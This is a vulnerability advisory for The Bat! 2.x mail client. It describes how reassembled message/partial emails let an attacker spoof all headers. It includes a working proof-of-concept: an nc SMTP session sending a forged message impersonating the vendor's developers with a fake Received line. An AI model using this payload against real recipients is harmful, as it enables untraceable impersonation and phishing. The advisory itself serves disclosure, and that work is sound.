Title: The Bat! 2.x message headers spoofing Author: 3APA3A <3APA3A@xxxxxxxxxxxxxxxx> Homepage: http://www.security.nnov.ru/ Advisory URL: http://www.security.nnov.ru/advisories/thebatspoof.asp Vendor: RitLabs Vendor's page http://thebat.net/ Application: The Bat 2.x (2.12.04 tested) Not vulnerable: The Bat! 3.5 Remote: Yes, against client Category: Information spoofing Intro: The Bat! is very convenient, powerful and secure (comparing with others) MUA (Mail User Agent) with many professional features: templates, macroses, Bayesian SPAM filter, etc. This is commercial product from RitLabs. Vulnerability: Design flow in the way The Bat! shows message/partial messages allow attacker to spoof RFC 822 headers or original message, including _all_ Received: and Message-ID:. It makes it possible to create untrackable message and spoof message origin, including sender's network. Details: The Bat! silently re-assembles partial message and shows encapsulated data. The headers shown are ones of encapsulated message. Real headers are lost completely. Exploit: Replace @example.com with destination address nc ip_of_smtp_relay 25 <thebatexploit.txt -=-=-=-=- begin thebatexploit.txt -=-=-=-=- HELO example.com MAIL FROM: <phiby@xxxxxxxxxxx> RCPT TO: <phiby@xxxxxxxxxxx> DATA Date: Mon, 31 Jan 2006 13:30:00 +0300 From: 3APA3A <phiby@xxxxxxxxxxx> X-Mailer: The Bat! (v2.12.00) Organization: http://www.security.nnov.ru/ X-Priority: 3 (Normal) Message-ID: <994591752.20060130184706@xxxxxxxxxx> To: Phiby <phiby@xxxxxxxxxxx> Subject: Subject: Re[7]: // Message-ID: <p#1split@xxxxxxxxxxxxxxxxxxxxxxxxxxxx@thebat.net> MIME-Version: 1.0 Content-Type: message/partial; id="split@xxxxxxxxxxxxxxxxxxxxxxxxxxxx@thebat.net"; number=1; total=2 Received: from mail.ritlabs.com (mail.ritlabs.com [198.63.208.135]) by mail.example.com (Postfix) with ESMTP id 9F89619EBEB for <phiby@xxxxxxxxxxx>; Mon, 31 Jan 2006 13:30:06 +0300 (MSK) Date: Mon, 31 Jan 2006 13:30:06 +0300 From: The Bat! developers <bugs@xxxxxxxxxx> X-Mailer: The Bat! (v2.12.00) Organization: RitLabs X-Priority: 3 (Normal) Message-ID: <994591752.20060130184706@xxxxxxxxxx> To: Phiby <phiby@xxxxxxxxxxx> Subject: Subject: Re[7]: // MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit Dear Phiby, Best wishes for you and http://phiby.com/ . RSET MAIL FROM: <phiby@xxxxxxxxxxx> RCPT TO: <phiby@xxxxxxxxxxx> DATA Date: Mon, 30 Jan 2006 13:30:06 +0300 From: 3APA3A <phiby@xxxxxxxxxxx> Organization: http://www.security.nnov.ru/ X-Mailer: The Bat! (v2.12.00) Organization: Microsoft X-Priority: 3 (Normal) Message-ID: <994591752.20060130184706@xxxxxxxxxx> To: Phiby <phiby@xxxxxxxxxxx> Subject: Subject: Re[7]: // Message-ID: <p#2split@xxxxxxxxxxxxxxxxxxxxxxxxxxxx@microsof.com> MIME-Version: 1.0 Content-Type: message/partial; id="split@xxxxxxxxxxxxxxxxxxxxxxxxxxxx@thebat.net"; number=2; total=2 Yours, The Bat! develpment team. . QUIT -=-=-=-=- end thebatexploit.txt -=-=-=-=- Workaround: Do not trust data The Bat! shows in headers. Solution: Upgrade to The Bat! 3.x (not free) -- http://www.security.nnov.ru /\_/\ { , . } |\ +--oQQo->{ ^ }<-----+ \ | ZARAZA U 3APA3A } You know my name - look up my number (The Beatles) +-------------o66o--+ / |/
